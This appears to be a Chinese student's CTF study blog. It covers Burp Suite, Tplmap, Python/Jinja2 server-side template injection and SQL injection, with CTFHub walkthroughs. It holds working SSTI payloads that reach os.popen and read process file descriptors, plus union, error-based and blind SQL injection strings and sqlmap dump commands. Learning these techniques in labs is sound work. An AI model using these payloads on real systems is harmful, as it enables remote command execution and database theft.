Proxy——是一个拦截HTTP/S的代理服务器，作为一个在浏览器和目标应用程序之间的中间人，允许你拦截，查看，修改在两个方向上的原始数据流。
Spider——是一个应用智能感应的网络爬虫，它能完整的枚举应用程序的内容和功能。
Scanner[仅限专业版]——是一个高级的工具，执行后，它能自动地发现web 应用程序的安全漏洞。
Intruder——是一个定制的高度可配置的工具，对web应用程序进行自动化攻击，如：枚举标识符，收集有用的数据，以及使用fuzzing 技术探测常规漏洞。
Repeater——是一个靠手动操作来补发单独的HTTP 请求，并分析应用程序响应的工具。
Sequencer——是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder——是一个进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer——是一个实用的工具，通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”

burp suite使用教程（抓包，截包，改包）_baidu_36124158的博客-CSDN博客_burpsuite抓包教程

Tplmap

服务器端模板注入和代码注入检测与开发工具

一个 python 工具，可以通过使用沙箱转义技术找到代码注入和服务器端模板注入（SSTI）漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP、Ruby、JaveScript、Python、ERB、Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入，并具有执行远程命令的能力。

使用

获取：

https://github.com/epinna/tplmap

安装第三方依赖：

1	pip install -r requirements

Tplmap 可以利用文件系统的漏洞，还具有使用不同参数访问底层操作系统的能力
以下命令可用于测试目标URL中的易受攻击的参数

1	./tplmap.py -u <'目标网址'>

执行该命令后，该工具会针对多个插件测试目标 URL 以查找代码注入机会。

应用实例：

__class__

它可以用来查看变量所属的类

用命令行打开python

输入：''.__class__

输出：<class 'str'>，表明这是str类

依次输入().__class__,[].__class__,{}.__class__

输出：

str(字符串)、dict(字典)、tuple(元组)、list(列表)，这些类型的基类都是object，即它们都属于object，而object拥有众多的子类。

接下来看这个东西

__bases__

可以用来查看类的基类

后面加数组，表示使用数组索引来查看特定位置的值

__mro__

查看基类

__subclasses__()

查看当前类的子类

输入如下代码

1	''.__class__.__bases__[0].__subclasses__()

按编号查找类<class 'os._wrap_close'>时可以：

1	''.__class__.__bases__[0].__subclasses__()[138]

PS：不同版本的python类的编号不同

.init.globals

找os类下的init初始化类

然后globals全局来查找所有的方法及变量及参数。

1	''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__

此时我们可以看到各种各样的参数方法函数,找其中一个可利用的function popen来执行命令

1	''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()

最基本的东西就是这些，下面可以做一道简单的题来巩固一下上面这些命令

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

__class__            类的一个内置属性，表示实例对象的类 __base__             类型对象的直接基类 __bases__            类型对象的全部基类，以元组形式，类型的实例通常没有属性 __mro__              此属性是由类组成的元组，在方法解析期间会基于它来查找基类 __subclasses__()     返回这个类的子类集合，每个类都保存一个对其直接子类的弱引用列表。 此方法返回所有那些仍然存在的引用的列表。 该列表按定义顺序排列。 __init__             初始化类，返回的类型是function __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法，在实例化的对象进行.操作的时候（形如：a.xxx/a.xxx()），都会自动去调用__getattribute__方法，因此可以直接通过这个方法来获取实例、类、函数的属性 __getitem__()        调用字典中的键值，其实就是调用这个魔术方法，比如a['b']，就是a.__getitem__('b') __builtins__         内建名称空间，内建名称空间有许多名字到对象之间映射，而这些名字其实就是内建函数的名称，对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了，百度都有。 __import__           动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()] __str__()            返回描写这个对象的字符串，可以理解成就是打印出来。 url_for              flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app get_flashed_messages flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app。 lipsum               flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}} current_app          应用上下文，一个全局变量 request              可以用于获取字符串来绕过，包括下面这些，引用一下羽师傅的。此外，同样可以获取open函数: request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1    get传参 request.values.x1 所有参数 request.cookies      cookies参数 request.headers      请求头参数 request.form.x1    post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data  post传参 (Content-Type:a/b) request.json post传json  (Content-Type: application/json) config               当前application的所有配置。此外，也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

常用过滤器

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

int()：将值转换为int类型； float()：将值转换为float类型； lower()：将字符串转换为小写； upper()：将字符串转换为大写； title()：把值中的每个单词的首字母都转成大写； capitalize()：把变量值的首字母转成大写，其余字母转小写； trim()：截取字符串前面和后面的空白字符； wordcount()：计算一个长字符串中单词的个数； reverse()：字符串反转； replace(value,old,new)： 替换将old替换为new的字符串； truncate(value,length=255,killwords=False)：截取length长度的字符串； striptags()：删除字符串中所有的HTML标签，如果出现多个空格，将替换成一个空格； escape()或e：转义字符，会将<、>等符号转义成HTML中的符号。显例：content|escape或content|e。 safe()： 禁用HTML转义，如果开启了全局转义，那么safe过滤器会将变量关掉转义。示例： {{'<em>hello</em>'|safe}}； list()：将变量列成列表； string()：将变量转换成字符串； join()：将一个序列中的参数值拼接成字符串。示例看上面payload； abs()：返回一个数值的绝对值； first()：返回一个序列的第一个元素； last()：返回一个序列的最后一个元素； format(value,arags,*kwargs)：格式化字符串。比如：{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出：Helloo? - Foo! length()：返回一个序列或者字典的长度； sum()：返回列表内数值的和； sort()：返回排序后的列表； default(value,default_value,boolean=false)：如果当前变量没有值，则会使用参数中的值来代替。示例：name|default('xiaotuo')----如果name不存在，则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值，如果想使用python的形式判断是否为false，则可以传递boolean=true。也可以使用or来替换。 length()返回字符串的长度，别名是count

request具体参考Flask request 属性详解_爱人BT的博客-CSDN博客_flask request
比如查看一下os._wrap_close类所处空间下可使用的module,方法和变量,利用.keys()爆出这个dict的所有键名：

1	print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.keys())

判断模板的图

require() 和 eval() 函数

require() 函数会包含一个文件并执行

eval() 函数是将字符串当成代码来执行

参考链接

SSTI(模板注入)_xiaolong22333的博客-CSDN博客_ssti模板注入

CTFshow-WEB入门-SSTI_feng的博客-CSDN博客

flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)

SSTI(服务器模板注入)学习 - Lushun - 博客园 (cnblogs.com)

浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术，为安全加点温度. (ichunqiu.com)

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

从一道题看Smarty_ssti | Cxlover’s blog (550532788.github.io)

关于flask的SSTI注入_Kr的博客-CSDN博客_flask ssti

Jinja2基本总结_Lin_Bolun的博客-CSDN博客

SSTI-服务端模板注入漏洞 - micr067 - 博客园 (cnblogs.com)

[pasecactf_2019]flask_ssti | Z3ratu1’s blog

代码审计入门 - Oran9e - 博客园 (cnblogs.com)

[分享]关于 fuzz 的 一点总结-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

大话FUZZ测试_JBlock的博客-CSDN博客_fuzz测试

从某篇文章搬的参考链接↓ 慢慢看

《flask之ssti模版注入从零到入门》

《SSTI(模板注入)》

《SSTI完全学习》

《flask ssti漏洞复现》

《SSTI(服务器模板注入)学习》

《CTF SSTI(服务器模板注入)》

《用python继承链搞事情》

《Python安全之SSTI——Flask/Jinja2》

《SSTI模板注入(Python+Jinja2)》

《SSTI Bypass 分析》

《flask之ssti模板注入》

《一篇文章带你理解漏洞之SSTI漏洞》

《SSTI模板注入》

 

最近新学了一手，，给图片加上边框显示起来应该会整齐一点

我重伤倒地

概念：

数据库

• 数据库是保存数据的仓库，存放在物理计算机上
• 借助sql来操作数据库
• sql按语法规范将所需数据组装后可与数据库交互
• 常见交互：数据的添加，修改，删除，查看
• 通过sql发出相对应的命令即可交互
• sql语句不需要针对不同操作系统进行修改

  SQL

SQL的两个解释

1. 微软的SQL Server，大型数据库系统软件，用于大批量数据存储管理
2. Structured Query Language（结构化查询语言）的缩写，使用最广的数据库语言

   SQL 分类

数据定义语言（DDL）

数据定义语言（Data Definition Language，DDL） 集中负责数据结构与数据库对象定义

主要功能：定义数据库对象

核心指令：CREATE、ALTER、DROP

数据操纵语言（DML）

数据操纵语言（Data Manipulation Language, DML）用于数据库操作，对数据库对象和数据运行访问工作的编程语句

主要功能：访问数据，因此其语法都是以读写数据库为主。

核心指令：INSERT、UPDATE、DELETE、SELECT四个指令合称 CRUD(Create, Read, Update, Delete)增删改查

事务控制语言（TCL）

事务控制语言 (Transaction Control Language, TCL) 用于管理数据库中的事务用于管理由 DML 语句所做的更改 允许将语句分组为逻辑事务

核心指令：COMMIT、ROLLBACK

数据控制语言（DCL）

数据控制语言 (Data Control Language, DCL) 控制数据访问权，可以控制特定用户账户对数据表、查看表、预存程序、用户自定义函数等数据库对象的控制权

核心指令：GRANT、REVOKE

主要功能：控制用户的访问权限，可利用 DCL 控制的权限有：CONNECT、SELECT、INSERT、UPDATE、DELETE、EXECUTE、USAGE、REFERENCES

根据不同的 DBMS 以及不同的安全性实体，其支持的权限控制也有所不同

SQL 语法要点

• 语句不区分大小写，但是数据库表名、列名和值是否区分，依赖于具体的 DBMS 以及配置

例如：SELECT与select、Select是相同的

• 多条语句必须以分号（;）分隔
• 处理 SQL 语句时，所有空格都被忽略SQL 语句可以写成一行，也可以分写为多行。

  1 2 3 4 5 6

  -- 一行 SQL 语句 UPDATE user SET username='robot', password='robot' WHERE username = 'root'; -- 多行 SQL 语句 UPDATE user SET username='robot', password='robot' WHERE username = 'root';

• SQL 支持三种注释

  1 2 3

  ## 注释1 -- 注释2 /* 注释3 */

  各类注入知识点

布尔盲注

布尔盲注详解_AaronLuo-CSDN博客_布尔盲注

↑↑↑我只能说这个写的太好了，讲话风格跟排版风格都很喜欢，，，整理过来大概也是照搬（

直接放链接了

sql注入基于布尔/时间的盲注详解_Sp4rkW的博客-CSDN博客_布尔注入

SQLmap

是一款基于python编写的渗透测试工具，在sql检测和利用方面功能强大，支持多种数据库

sqlmap解题步骤

1.查看数据库

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs  --batch

2.查看数据库里面的表

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch

3.查看数据库表里面的列

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns   --batch

4.查看数据库列里面的具体的值

1	sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password     --dump  --batch

sqlmap常用命令

-h                                           显示基本帮助信息

-hh                                         显示高级帮助信息

–version                                显示版本号

-v                                           详细等级（0-6 默认 1）

                                              0：只显示python错误以及重要信息

                                              1：显示信息以及警告

                                              2：显示debug消息

                                              3：显示注入payload

                                              4：显示http请求

                                              5：显示http响应头·

                                              6：显示http响应内容
-u                                          指定目标url

-d                                          直接连接数据库

///sqlmap相当于一个搞注入的py脚本库(？猜的

相关资料

常用的SQL语句 - zhangzhenpeng - 博客园 (cnblogs.com)

12800字！SQL 语法速成手册 (qq.com)

常见SQL注入的方法 - 四季列车 - 博客园 (cnblogs.com)

有效防止SQL注入的5种方法总结_数据库其它_脚本之家 (jb51.net)

SQL注入原理以及预防方案_rennan…的博客-CSDN博客_sql注入原理

Ctfhub解题 web SQL注入(全部完整版)_一个平凡de人的博客-CSDN博客

ctfhub——web——sql注入(sqlmap实现)_金鳞本鲤的博客-CSDN博客

sql注入绕过方法总结_韦全敏的博客-CSDN博客_sql注入绕过

CTF中SQL注入常见题型整理_韦全敏的博客-CSDN博客_ctf sql注入

Sql注入——整数型和字符型_Xingmi_m的博客-CSDN博客

CTFHub_技能树_Web之SQL注入——报错注入（含三种解法）_东京没有下雨天-CSDN博客

CTFHub 报错注入_wind lin的博客-CSDN博客_ctfhub报错注入

CTFHub布尔盲注（新的payload)_wind lin的博客-CSDN博客_ctfhub 布尔盲注

SQL注入 基于布尔的盲注(less-5) - 简书 (jianshu.com)

CTF刷题总结（1）——简单的SQL注入_qq_45047250的博客-CSDN博客

CTFHUB-WEB-SQL注入-布尔盲注_老大的豆豆酱的博客-CSDN博客[Burp suite 爆破模块intruder]

[SQLMap安装_航少的博客-CSDN博客]

sqlmap详细使用教程_星落的博客-CSDN博客_sqlmap使用教程

CTFHub-web(sql时间盲注)_航少的博客-CSDN博客_ctfhub 时间盲注

题目示例：

1.整数型注入

[整数型注入]—ctfhub

手工(sqlmap待补充)

输入1输出正常

1	-1 union select 1,database()

查询数据库名称

1	-1 union select 1,version()

查询数据库版本

1 2 3

 -1 union select 1,group_concat(schema_name) from informations_schema.schemata

查询所有数据库名称

1 2 3

-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1) 查当前数据第一个表名，之后依次增加 limit 查询剩余表名

或者一次性查询所有表名

1	-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

1 2	查询flag -1 union select 1,group_concat(flag) from sqli.flag

得到flag

///图是从ctfhub提供的wp里扣的(因为忘截图了，不想再花金币开

这个跟后面的比起来要短还能勉强看懂，，，，(只会用的程度///换个题就不会用了(大概率)

为什么为什么为什么要这样

为什么这么输可以出这种结果

显示结果的含义是什么

目前纯靠猜，，，

QWQ

每句话的含义是什么？？？？

以后慢慢注释补充

2.字符型注入

[字符型注入]—ctfhub

手工(sqlmap待补充)

///下面出现的123可替换成任意数据库中不存在的用户名

输入1输出正常,回显ID,Data

联合查询得到数据库

1	123' union select database(),2 #

查表 得到表名

1	123' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #

查字段名 得到字段名

1	123' union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #

查flag

1	123' union select flag,3 from sqli.flag #

得到flag

3.报错注入

[报错注入]—ctfhub

手工(sqlmap待补充)

查表名->报错->说明数据库下有多个表->用limit依次查找

1	?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询错误: Subquery returns more than 1 row

1	?id=1 and(select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)

第二个表flag存有flag，这里拼接了一个1作为查询语句，因此要忽略
查询错误: Every derived table must have its own alias

查列名

1	?id=1 and(select 1 from(select count(*),concat((select column_name from information_schema.columns where table_name="flag"),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询错误: Duplicate entry ‘flag1’ for key ‘group_key’

第二个表flag的列flag存有flag

查值

1 2 3

?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a) 查询错误: Duplicate entry 'ctfhub{8a213fb30ca8bc66650b5a93}1' for key 'group_key'

拿到flag

///这个解法为什么跟上面两个都不一样啊qwq，前面的都是直接输在框里，这个是用get(？是这个吧，之前做的get题也是要这样搞)

4.布尔盲注

[布尔盲注]—-ctfhub

sqlmap(手工待补充)

布尔盲注只返回成功与否

因手工盲注十分费力，改用sqlmap，

///但是sqlmap不会用qwq，我要哭哭惹

，，，上面那些是啥啊，，，说实话完全看不懂

只能说是整理了一下巨巨们的wp

sql注入是寄吧啥啊，神经病

先码一下步骤

1 2 3 4

1.猜数据库名长度: x是某个值，用>x或<x也可 ’ and length (database())=x--+ 2.猜数据库名（任何系统函数可以知道的内容，例如Mysql、操作系统版本号等）： ’ and left(database(),1)=’s’--+

3.获取数据库下的表：

1 2 3 4 5

' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101--+ 4.获取表里的列名： ' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+ 5.获取表里列的内容：x是错误返回值，只要不要给对的值，加啥都可 ' and ord(mid((select ifnull(cast(username as char),x)from security.users order by id limit 0,1),1,1))=68--+

///盲注如果用手工需要太长时间了，，也可以用py写脚本，但那是另外一回事了

5.时间盲注

无任何返回值，需要通过页面恢复响应时间判断

[时间盲注]—-ctfhub

6.无列名注入

7.空格过滤型

8.各种过滤型的绕过

///先到这里吧

深刻体会到什么叫大跃进式学习了

最近一直在赶路，，，好累

晚安zzZZZ

❤点击❤链接❤
神秘网站
开启新世界


铸币吧这事